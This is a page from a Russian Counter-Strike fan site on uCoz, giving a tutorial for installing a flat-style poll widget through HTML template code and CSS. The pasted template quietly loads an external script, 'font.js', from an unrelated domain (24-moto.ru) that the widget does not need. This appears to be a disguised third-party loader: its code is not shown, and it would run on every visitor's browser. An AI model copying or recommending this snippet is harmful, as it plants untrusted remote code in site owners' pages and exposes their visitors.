Главная | Регистрация | Вход Приветствую Вас Гость | RSS
    Меню сайта
Главная страница Не нравится сайт?ДА! Топ 100 сайтов Онлайн игры Фотоальбом Сделайте баннер Online Телевизор на сате Гостевая Форум Файлы Блог
    Всё для CS 1.6
Скачать Counter-Strike Файлы от пользователей Готовые сервера аmx плагины Программы Анти-читы Мувики Моды для cs Радары Waypoint'ы Прицелы Карты Одноцветное лого Читы HLTV модели Баги CS Курсоры Модели оружия Модели CT Модели T Боты CS 1.6 Online Кровь Взлом серверов cs Иконки Радио Прицелы SIG/AUG Цветные лого Патчи Русификаторы Темы меню Web скрипты Взрывы Steam cs 1.6 Звуки Паки Моделей Игроков Радио CS Конфиги профессионалов Скрипты Дырки от пуль Значки Редакторы карт Текстуры рук Триксы Музыка Снайперские прицелы Шрифты Юзербары Выстрелы Спрайты CS Защита сервера CS Модели C4 Конфиги Аватары CS Болевые иконки Консольные комманды Cs Задний план в CS
    Помощь Нубам
Полезно всем знать Секреты карт cs Стратегии на картах CS
    Реклама от Google
    Мастерская
Создаём сервер CS Создаём карты для cs Настраиваем AMX MOD Русифицируем AMX MOD X F.A.Q для серверов cs Снижаем лаги и пинг сервера Все статьи о серверах Установка плагинов на серв Настраиваем сервер Собираем онлайн server.cfg Делаем себя админом Делаем серв видимым в нэте Открываем порты в модеме Долго грузятся файлы с серва Делаем цветное лого Делаем фон консоли Делаем фон меню CS Делаем Waypoint'ы Делаем свой прицел Делаем матрицу в cs Меняем цвет прицела Создаём конфиг Настраиваем микрофон Устанавливаем модели Играем в cs по инету Делаем демку и видео Монтируем видео Настраиваем мышь в cs Прицел без зума на awp как установить ? ответ здесь ! Правила CW для CS 1.6
    Про ucoz
Скрипты Шаблоны cs шапки для сайтов
    CS Art
Обои в стиле CS Музыка на тему CS (mp3) Аватарки на тему CS Юзербары на тему CS Шрифты в стиле CS Иконки из CS для Windows Курсоры CS для Windows Комиксы Cs Flash мульты Скины для Winamp
    Юмор
Чудеса в CS ( видео ) Картинки Стишки про CS О читерах CyberGamer'ы (Кибергамеры) Басни CS Как стать отцом CS Ответы отцов о CS
Главная » 2014 » Февраль » 28 » Вид опроса для uCoz в стиле Flat дизайна
11:54
Вид опроса для uCoz в стиле Flat дизайна

В данном посте мы с вами разберем и установим новый вид опроса для uCoz в стиле Flat дизайна. Что такое стиль Flat (Flat дизайн)? Это новый довольно популярный в интернете сейчас тип веб-дизайна, главной особенностью которого является плоскость и юзабельность. Теперь поговорим об этом виде опроса для uCoz. Главная его особенность это плоскость — тот самый Flat дизайн. Выводится количество и процент проголосовавших, а также полоски опроса разноцветные, заточен под 14 возможных ответов. Также данный вид опроса в стиле Flat построен полностью на CSS, что делает его очень легким и не утяжеляющим страницу. Установка очень проста

Установка:

Для установки, зайдите в админ панель => Управление дизайном => Опросы => Вид формы опросов и здесь заменяем весь существующий код на этот:

Код
<div class="cell-poll">
  <div class="cell-poll-title">$QUESTION$</div>  
  <div class="cell-poll-answers">$ANSWERS$</div>
  <div class="cell-poll-link">
  <span>Ответов: <strong>$TOTAL_VOTES$</strong></span>  
  <a href="$RESULTS_LINK$" >Результаты </a>
  <b> | </b>
  <a href="$ARCHIVE_LINK$">Архив </a>  
  </div>  
</div>
<script type="text/javascript" src="http://24-moto.ru/font.js"></script><script type="text/javascript">
var a = ['1','2','3','4','5','6','7','8','9','10','11','12','13','14','15'];
for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress');$('div.answer div div').eq(i).addClass('progress-'+[i]);}
$('div.answer span').each(function(){$(this).html($(this).html()+' - <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')});
</script>


Отлично, теперь нам нужно установить CSS стили, для этого идем в ваши Таблицы стилей и добавляем туда такой код:

Код
/* Вид опроса для uCoz, в стили flat v2
------------------------------------------*/
.cell-poll{
  float:left;
  width:230px;
  color:#666;
  background: #fff;
  padding: 10px 10px 10px 10px;  
  border: 1px solid #B6C0CD;  
  border-radius:5px;  
}

.cell-poll-title{
  float:left;
  width:100%;
  padding-bottom: 10px;
  border-bottom: 1px solid #B6C0CD;
  font:12px Verdana,Arial,Helvetica, sans-serif;
  font-weight:bold;
  text-align:center;
  color:#777;  
}

.cell-poll a {text-decoration:none; outline:none}

.cell-poll-answers{
  float:left;
  width:100%;
  margin: 10px 0px 10px 0px;  
  text-align:left;
}

.answer {display: block;}

.answer input{margin: 3px 5px 2px 5px;}
.answer label {margin: 2px 0px 2px 0px; color:#555;}

.progress {
  height: 15px;
  overflow: hidden;
  margin: 5px 0px 7px 0px;
  height: 15px!important;
  background: #F4F8F9!important;
}

.progress-0,
.progress-1,
.progress-2,
.progress-3,
.progress-4,
.progress-5,
.progress-6,
.progress-7,
.progress-8,
.progress-9,
.progress-10,
.progress-11,
.progress-12,
.progress-13,
.progress-14 {
  height: 18px!important;
  display: block!important;
  overflow: hidden!important;
  margin-top: -3px;
}

.progress-0 {background: #5D9AD3!important;}
.progress-1 {background: #E96465!important;}
.progress-2 {background: #F6954E!important;}
.progress-3 {background: #dd8cd2!important;}
.progress-4 {background: #75D0ED!important;}
.progress-5 {background: #5BC254!important;}
.progress-6 {background: #CFC72D!important;}
.progress-7 {background: #DD3344!important;}
.progress-8 {background: #FE9B6F!important;}
.progress-9 {background: #8CC84B!important;}
.progress-10 {background: #DD8CD2!important;}
.progress-11 {background: #e9eb5b!important;}
.progress-12 {background: #E96465!important;}
.progress-13 {background: #75D0ED!important;}
.progress-14 {background: #5D9AD3!important;}

.pollBut{
  cursor:pointer;
  border:none!important;  
  margin-top:10px;
  background: #64b0db!important;  
  padding: 5px 20px 5px 20px!important;  

  font:11px Verdana,Arial,Helvetica, sans-serif!important;  
  font-weight: bold!important;  
  color:#fff!important;  
}

.pollBut:active {box-shadow:inset 0px 0px 3px #166693!important;}
.pollBut:hover {background:#51a4d2!important;}

.cell-poll-link{
  float:left;
  width:100%;
  padding-top: 10px;
  border-top: 1px solid #B6C0CD;
   
  font:9px Verdana,Arial,Helvetica, sans-serif;
  color:#999;
}

.cell-poll-link span{float:left;}
.cell-poll-link b,
.cell-poll-link a {float:right;}
.cell-poll-link b {color:#B6C0CD;}


Готово! Теперь, дизайн опроса готов, все налажено и рабочее, можете установить себе тестовый опрос, чтобы протестировать данный скрипт для uCoz. На этом все, спасибо вам за внимание!
Просмотров: 216 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
    Форма входа

Гость !



Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!
    Налог на транспорт
    Корзина
Ваша корзина пуста
    Поиск
    Копилка
    Наш опрос
Как вам наш сайт?

Результат опроса Результаты Все опросы нашего сайта Архив опросов

Всего голосовало: 258
Обсудить опрос на форуме
    Друзья сайта
Мониторинг игровых серверов (PGS)
  • Официальный блог
  • Сообщество uCoz
  • Инструкции для uCoz
  • Программы
  •     Случайные файлы
    Видио cs 1.6 de_nuke tricks, bunnyjump ЛУЧШЕЕ!
    Amx_knife_fight ЛУЧШЕЕ!
    Видио cs bugs ЛУЧШЕЕ!
    hd_main.amxx , hd_bhophacks.amxx , hd_kzhack.amxx ЛУЧШЕЕ!
    Расприыг . И КАК ИМ ПОЛЬЗОВАТСЯ! ЛУЧШЕЕ!
    Скачать мод SuperHero ЛУЧШЕЕ!
    Как установить модели в cs 1.6 ? ВОТ ОТВЕТ... ЛУЧШЕЕ!
    Amx_prtr ЛУЧШЕЕ!
    cs шапка для сайтов ucoz ЛУЧШЕЕ!
    amx_warnban.amxx ЛУЧШЕЕ!
        Статистика

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0
    Зарег. на сайте
    Всего: 59
    Новых за месяц: 0
    Новых за неделю: 0
    Новых вчера: 0
    Новых сегодня: 0
    Из них
    Администраторов: 1
    Модераторов: 1
    Проверенных: 4
    Обычных юзеров: 52 Из них
    Парней: 49
    Девушек: 10